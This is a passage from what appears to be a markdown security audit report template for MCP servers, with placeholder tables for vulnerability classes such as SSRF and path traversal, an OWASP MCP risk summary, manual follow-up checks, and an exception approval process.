|282| Path traversal | … | … |283| SSTI | … | … |284| Dependency hijacking | … | … |285| SSRF | … | … |286287### OWASP summary288289| Risk | Status | Justification |290|---|---|---|291| MCP01:2025 | ✅ PASS / ❌ FAIL / ⚠️ NEEDS INVESTIGATION | … |292| MCP02:2025 | … | … |293| MCP03:2025 | … | … |294| MCP04:2025 | … | … |295| MCP05:2025 | … | … |296| MCP06:2025 | … | … |297| MCP07:2025 | … | … |298| MCP08:2025 | … | … |299| MCP09:2025 | … | … |300| MCP10:2025 | … | … |301302### Manual follow-ups303List every check that could not be fully resolved from source code, specifying what artifact or access is needed to verify it.304305## Exception process306- **Document the gap:** Identify the unmet control, the exact deviation, residual risk, and any compensating controls.307- **Get explicit approval:** Route the exception through security/release approval with an owner and an expiration or review date.308- **Track and re-evaluate:** Record the approved exception with compliance results and revisit it on expiry or whenever the server, tools, traffic profile, or exposure changes.
williamlimasilva